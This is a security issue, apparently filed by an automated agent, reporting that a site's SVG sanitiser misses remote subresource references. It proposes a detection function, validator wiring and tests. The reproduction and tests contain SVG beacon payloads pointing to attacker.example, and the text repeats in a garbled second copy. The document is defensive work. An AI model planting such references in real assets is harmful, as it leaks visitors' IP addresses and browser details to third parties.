Security Finding
Severity: medium
Type: unsafe-pattern (missing gate — third-party beacon from the site origin)
scripts/lib/svg-active-content.mjs gates SVGs for script execution:
<script>/<handler>/<iframe>, on* handlers, javascript:/vbscript:
URIs, srcdoc, and an animate element whose attributeName is href. It has no check for
external subresource references, so an imported or committed SVG may
auto-load a resource from a host this project does not control.
This is the same invariant the repository already enforces everywhere else and
states in its own comments:
scripts/lib/project-assets.mjs: "Cards must never hot-link a third party,
so every image that reaches the published site is mirrored from cncf/artwork
at import time."
scripts/lib/profile-image.mjs: "An unrestricted host is therefore a
third-party beacon: it receives each visitor's IP, User-Agent and Referer on
page load."
Markdown images and profile images are held to that standard. The inside of
an SVG is not, even though SVG internals load subresources the same way.
Reproduction (verified on main @ b54cf81)
Every one of these passes findActiveContent() with zero findings, and
therefore passes npm run validate:architecture-assets:
import { findActiveContent } from './scripts/lib/svg-active-content.mjs';
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><image xlink:href="https://attacker.example/px.png" width="1" height="1"/></svg>`); // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><use href="https://attacker.example/e.svg#a"/></svg>`); // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><image href="//attacker.example/px.png"/></svg>`); // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><style>@import url("https://attacker.example/f.css");</style><rect/></svg>`); // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><rect style="fill:url('https://attacker.example/p.png')"/></svg>`); // []
findActiveContent(`<svg xmlns="http://www.w3.org/2000/svg"><font-face-uri xlink:href="https://attacker.example/f.svg"/></svg>`); // []
stripActiveContent() likewise leaves all six untouched, so the daily
import:architectures sanitiser mirrors them verbatim into
static/img/architectures/.
Impact
static/ is published verbatim at the site origin. An image, use or
font-face-uri element, or a CSS url()/@import, naming a remote host is fetched
automatically on render — no click, no interaction. That host receives every
visitor's IP address, User-Agent and Referer, on any page that renders the
diagram and on direct navigation to the asset.
The content path makes this reachable without touching this repository:
data/architectures and static/img/architectures are regenerated unattended
by .github/workflows/import-architectures.yml from
https://github.com/cncf/architecture. A single edit to an upstream diagram
adds a tracking pixel to this site, and the automated PR shows only a changed
binary-ish SVG that every gate passed.
Availability matters too: a remote use reference that stops resolving silently
breaks the diagram for every visitor.
Recommendation
Add an external-reference check alongside the active-content check. Navigational
links must not be flagged: an a element with a remote xlink:href loads nothing until
clicked, and a shipped asset already relies on one
(static/img/architectures/swisscom-cloud-native-telco/swisscom-cloud-native-telco-automation-layers.svg
links to drawio.com).
1. Append to scripts/lib/svg-active-content.mjs
NS_PREFIX, ATTRIBUTE_PATTERN and localName() already exist in that module;
reuse them rather than redeclaring, and add only the new constants below.
const NS_PREFIX = '(?:[a-z_][-a-z0-9_.]*:)?';
/** Elements whose href/src is fetched automatically when the SVG renders. */
const SUBRESOURCE_ELEMENTS = new Set([
'image',
'use',
'feimage',
'font-face-uri',
'textpath',
'mpath',
'pattern',
'filter',
'lineargradient',
'radialgradient',
]);
const SUBRESOURCE_ATTRIBUTES = new Set(['href', 'src']);
const TAG_PATTERN = new RegExp(`<\\s*(${NS_PREFIX}[a-z][-a-z0-9_.]*)([^>]*)>`, 'gi');
const ATTRIBUTE_PATTERN =
/\s([a-z_:][-a-z0-9_:.]*)\s*=\s*(?:"([^"]*)"|'([^']*)'|([^\s"'<>`]+))/gi;
const STYLE_ELEMENT = new RegExp(
`<\\s*${NS_PREFIX}style\\b[^>]*>([\\s\\S]*?)<\\s*/\\s*${NS_PREFIX}style\\s*>`,
'gi',
);
const CSS_URL = /(?:@import\s+(?:url\(\s*)?|url\(\s*)["']?([^"')\s]+)/gi;
function localName(name) {
const colon = name.lastIndexOf(':');
return colon === -1 ? name : name.slice(colon + 1);
}
/**
* The remote host a reference resolves to, or null when it stays in-document
* or on this origin.
*/
function remoteHost(value) {
const trimmed = String(value).trim();
if (!trimmed) return null;
// Protocol-relative references inherit the page scheme but not its host.
if (trimmed.startsWith('//')) {
const host = trimmed.slice(2).split(/[/?#]/)[0];
return host || null;
}
if (!/^[a-z][a-z0-9+.-]*:/i.test(trimmed)) return null;
let url;
try {
url = new URL(trimmed);
} catch {
return null;
}
if (url.protocol !== 'http:' && url.protocol !== 'https:') return null;
return url.hostname || null;
}
/**
* Describe every automatically loaded remote reference in an SVG source string.
* @param {string} source - SVG file contents.
* @returns {string[]} Human-readable descriptions, empty when self-contained.
*/
export function findExternalReferences(source) {
const findings = new Set();
for (const tag of String(source).matchAll(TAG_PATTERN)) {
const element = localName(tag[1].toLowerCase());
for (const attribute of tag[2].matchAll(ATTRIBUTE_PATTERN)) {
const name = attribute[1].toLowerCase();
const value = attribute[2] ?? attribute[3] ?? attribute[4] ?? '';
if (localName(name) === 'style') {
for (const reference of value.matchAll(CSS_URL)) {
const host = remoteHost(reference[1]);
if (host) findings.add(`style="..." loads ${host}`);
}
continue;
}
if (!SUBRESOURCE_ELEMENTS.has(element)) continue;
if (!SUBRESOURCE_ATTRIBUTES.has(localName(name))) continue;
const host = remoteHost(value);
if (host) findings.add(`<${element} ${name}="..."> loads ${host}`);
}
}
for (const block of String(source).matchAll(STYLE_ELEMENT)) {
for (const reference of block[1].matchAll(CSS_URL)) {
const host = remoteHost(reference[1]);
if (host) findings.add(`<style> loads ${host}`);
}
}
return [...findings].sort();
}
2. Wire it into scripts/validate-architecture-assets.mjs
Line 12 becomes:
import {
findActiveContent,
findExternalReferences,
} from './lib/svg-active-content.mjs';
and the block that currently ends at line 92 gains a second loop:
for (const finding of findActiveContent(source)) {
record(path, 'error', `active content: ${finding}`);
}
// Critical: a reference to a host this project does not control is fetched
// automatically when the SVG renders, handing that host every visitor's IP,
// User-Agent and Referer. Mirror the asset locally instead. Never
// auto-fixed: rewriting a reference changes what the diagram shows.
for (const finding of findExternalReferences(source)) {
record(path, 'error', `external reference: ${finding}`);
}
No workflow change is needed: npm run validate:architecture-assets already
runs in ci.yml (both the validate job and the deploy build).
3. Add tests/svg-external-references.test.mjs
A new file, so it does not collide with #680, which holds
tests/svg-active-content.test.mjs.
import assert from 'node:assert/strict';
import test from 'node:test';
import { findExternalReferences } from '../scripts/lib/svg-active-content.mjs';
const svg = (inner) =>
`<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">${inner}</svg>`;
test('flags subresource elements that load a remote host', () => {
for (const inner of [
'<image xlink:href="https://attacker.example/px.png" width="1" height="1"/>',
'<use href="https://attacker.example/e.svg#a"/>',
'<image href="//attacker.example/px.png"/>',
'<font-face-uri xlink:href="https://attacker.example/f.svg"/>',
]) {
const findings = findExternalReferences(svg(inner));
assert.equal(findings.length, 1, inner);
assert.match(findings[0], /attacker\.example/);
}
});
test('flags remote references in CSS, in a <style> block and in a style attribute', () => {
assert.match(
findExternalReferences(
svg('<style>@import url("https://attacker.example/f.css");</style><rect/>'),
)[0],
/attacker\.example/,
);
assert.match(
findExternalReferences(
svg(`<rect style="fill:url('https://attacker.example/p.png')"/>`),
)[0],
/attacker\.example/,
);
});
test('does not flag a navigational link, which loads nothing until clicked', () => {
assert.deepEqual(
findExternalReferences(svg('<a xlink:href="https://www.drawio.com/doc"><rect/></a>')),
[],
);
});
test('does not flag in-document, site-local or data: references', () => {
assert.deepEqual(
findExternalReferences(
svg('<use href="#glyph"/><image href="/img/x.png"/><image href="data:image/png;base64,AAAA"/>'),
),
[],
);
});
test('does not flag namespace and feature-string URLs, which are identifiers', () => {
assert.deepEqual(
findExternalReferences(
svg('<g requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility"/>'),
),
[],
);
});
Verification already done
Running the module above over the working tree:
- all six reproduction payloads are flagged, each naming
attacker.example;
- all five negative cases return
[];
- all 50 SVGs currently under
static/ return [], so the check can land
as an error with no change to any shipped asset and no CI breakage.
Why this is an issue and not a pull request
The detection belongs in scripts/lib/svg-active-content.mjs, which is free —
but it does nothing until it is wired into scripts/validate-architecture-assets.mjs,
and that file (with tests/validate-architecture-assets.test.mjs) is held by open
PR #691. Opening a PR here would be a second implementation on ground #691
already occupies. This should land after #691 merges.
Filing as an issue rather than a PR is a sequencing decision, not a judgement
that the finding is weak: the payloads above are verified to pass every gate on
main today.
Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)
🐝 Hive Agent: security | Instance: hosted-available-lke648397-260827-5n31 | SHA: unknown
— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88
Security Finding
Severity: medium
Type: unsafe-pattern (missing gate — third-party beacon from the site origin)
scripts/lib/svg-active-content.mjsgates SVGs for script execution:<script>/<handler>/<iframe>,on*handlers,javascript:/vbscript:URIs,
srcdoc, and ananimateelement whoseattributeNameishref. It has no check forexternal subresource references, so an imported or committed SVG may
auto-load a resource from a host this project does not control.
This is the same invariant the repository already enforces everywhere else and
states in its own comments:
scripts/lib/project-assets.mjs: "Cards must never hot-link a third party,so every image that reaches the published site is mirrored from cncf/artwork
at import time."
scripts/lib/profile-image.mjs: "An unrestricted host is therefore athird-party beacon: it receives each visitor's IP, User-Agent and Referer on
page load."
Markdown images and profile images are held to that standard. The inside of
an SVG is not, even though SVG internals load subresources the same way.
Reproduction (verified on
main@b54cf81)Every one of these passes
findActiveContent()with zero findings, andtherefore passes
npm run validate:architecture-assets:stripActiveContent()likewise leaves all six untouched, so the dailyimport:architecturessanitiser mirrors them verbatim intostatic/img/architectures/.Impact
static/is published verbatim at the site origin. Animage,useorfont-face-urielement, or a CSSurl()/@import, naming a remote host is fetchedautomatically on render — no click, no interaction. That host receives every
visitor's IP address, User-Agent and Referer, on any page that renders the
diagram and on direct navigation to the asset.
The content path makes this reachable without touching this repository:
data/architecturesandstatic/img/architecturesare regenerated unattendedby
.github/workflows/import-architectures.ymlfromhttps://github.com/cncf/architecture. A single edit to an upstream diagramadds a tracking pixel to this site, and the automated PR shows only a changed
binary-ish SVG that every gate passed.
Availability matters too: a remote
usereference that stops resolving silentlybreaks the diagram for every visitor.
Recommendation
Add an external-reference check alongside the active-content check. Navigational
links must not be flagged: an
aelement with a remotexlink:hrefloads nothing untilclicked, and a shipped asset already relies on one
(
static/img/architectures/swisscom-cloud-native-telco/swisscom-cloud-native-telco-automation-layers.svglinks to
drawio.com).1. Append to
scripts/lib/svg-active-content.mjsNS_PREFIX,ATTRIBUTE_PATTERNandlocalName()already exist in that module;reuse them rather than redeclaring, and add only the new constants below.
2. Wire it into
scripts/validate-architecture-assets.mjsLine 12 becomes:
and the block that currently ends at line 92 gains a second loop:
No workflow change is needed:
npm run validate:architecture-assetsalreadyruns in
ci.yml(both thevalidatejob and the deploy build).3. Add
tests/svg-external-references.test.mjsA new file, so it does not collide with #680, which holds
tests/svg-active-content.test.mjs.Verification already done
Running the module above over the working tree:
attacker.example;[];static/return[], so the check can landas an
errorwith no change to any shipped asset and no CI breakage.Why this is an issue and not a pull request
The detection belongs in
scripts/lib/svg-active-content.mjs, which is free —but it does nothing until it is wired into
scripts/validate-architecture-assets.mjs,and that file (with
tests/validate-architecture-assets.test.mjs) is held by openPR #691. Opening a PR here would be a second implementation on ground #691
already occupies. This should land after #691 merges.
Filing as an issue rather than a PR is a sequencing decision, not a judgement
that the finding is weak: the payloads above are verified to pass every gate on
maintoday.Filed by sec-check agent (ACMM L4/L5 — hold-gated mode)
🐝 Hive Agent:
security| Instance:hosted-available-lke648397-260827-5n31| SHA:unknown— hive: agent=sec-check backend=copilot model=claude-opus-5 copilot=1.0.88